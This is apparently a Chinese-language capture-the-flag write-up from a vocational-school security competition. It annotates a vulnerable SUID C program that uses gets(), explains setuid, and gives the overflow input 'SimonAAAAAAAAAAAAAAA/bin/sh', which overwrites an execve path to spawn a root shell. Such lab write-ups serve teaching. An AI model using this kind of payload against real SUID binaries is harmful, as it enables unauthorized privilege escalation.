简介
这是对中职网络安全比赛B模块ssh密钥泄露,本地提权的缓冲区溢出漏洞的分析文章,有什么不会的可以在群里问:809706080,我都会解答
程序分析
这道题通过泄露的ssh密钥直接登录上去后,去到root目录下可以看到这些文件,如果不会利用泄露的ssh密钥登录的话,可以加群
chjenie.txt文件只要root用户才能读取,应该是flag,而另一个c程序我们有读取权限,可以看看
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message"; //将/usr/local/sbin/message字符串存储到program变量里,之后会执行
char buf[20]; //给buf这个变量20个字符的空间,之后可以发现gets函数,超过20个字符就会造成溢出
char authorized[] = "Simon"; //将Simon字符串存储到authorized变量里
printf("What is your name?\n"); //输出字符串What is your name?
gets(buf); //获取我们的输入,存储到buf变量里
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) { //将我们输入的前5个字符串与authorized里存放的值做对比,通过程序最上面定义的变量可以发现,也就是与Simon这个字符串做对比,如果一样则进入以下循环
printf("Hello %s! Here is your message:\n\n", buf); //将我们输入到buf变量里的值填充到%s里,输出Hello 我们输入的东西! Here is your message:
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL); //执行program变量里的东西,在上面可以看到是/usr/local/sbin/message程序,我们需要溢出覆盖这个变量,来执行我们想执行的命令
} else { //如果if判断不成立
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized); //输出这些字符串,表示我们输入错了
exit(EXIT_FAILURE); //退出程序
}
}
我们不能直接运行这个源文件,需要使用gcc工具编译后才能运行,但是这个机子上没有gcc工具,我们找找机子上其他位置是否存放了编译好后的这个程序
find / -name "read_message" 2>/dev/null
查找根目录下所有文件,输出文件名为read_message的地址 2>/dev/null的意思是:find命令将错误重定向到“/dev/null”并获得更清晰的输出
我们去到这个目录下看看
发现这是一个suid文件
什么是suid
什么是setuid?
setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配
这么说起来有点绕,我们来举一个例子
一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了
演示 我们用user用户运行一个vim 然后新开一个窗口查看后台进程
ps -aux
这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看 这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行 我们查看文件的权限 r代表读,w代表写,x代表执行,那s是什么呢
s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的
当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的 我们的目标就是,破解这个文件然后拿到root权限
gets
通过上面对程序的分析可以发现,读取我们输入的函数是gets,学过二进制安全的同学们肯定都知道这个函数的危害 在gets函数的官方文档里,有这么一句话
永远不要使用gets函数,因为如果事先不知道数据,就无法判断gets将读取多少个字符,因为gets将继续存储字符当超过缓冲区的末端时,使用它是极其危险的,它会破坏计算机安全,请改用fgets。
PWN
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message"; //将/usr/local/sbin/message字符串存储到program变量里,之后会执行
char buf[20]; //给buf这个变量20个字符的空间,之后可以发现gets函数,超过20个字符就会造成溢出
char authorized[] = "Simon"; //将Simon字符串存储到authorized变量里
printf("What is your name?\n"); //输出字符串What is your name?
gets(buf); //获取我们的输入,存储到buf变量里
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) { //将我们输入的前5个字符串与authorized里存放的值做对比,通过程序最上面定义的变量可以发现,也就是与Simon这个字符串做对比,如果一样则进入以下循环
printf("Hello %s! Here is your message:\n\n", buf); //将我们输入到buf变量里的值填充到%s里,输出Hello 我们输入的东西! Here is your message:
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL); //执行program变量里的东西,在上面可以看到是/usr/local/sbin/message程序,我们需要溢出覆盖这个变量,来执行我们想执行的命令
} else { //如果if判断不成立
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized); //输出这些字符串,表示我们输入错了
exit(EXIT_FAILURE); //退出程序
}
}
通过上面的一系列解释,再来看一遍这个程序,是否清晰很多了呢 我们通过gets本身的漏洞,来溢出覆盖program变量的地址,然后执行我们想要执行的命令 我们完整的exp如下:
SimonAAAAAAAAAAAAAAA/bin/sh
Simon:程序对比的字符串,输入正确才能进入循环
AAA……:为了溢出而随便输入的值,simon为5个字符,我们溢出需要20个字符,所以我们这里输入15个A,加起来就是20个字符了
/bin/sh:我们想要执行的命令,拿到root权限的shell
我们运行程序,然后输入我们的exp
可以看到我们已经成功的获取到了root权限,现在我们去获取flag吧
总结
上午看到群友问了这题,突发奇想的写了一个比较详细的分析
|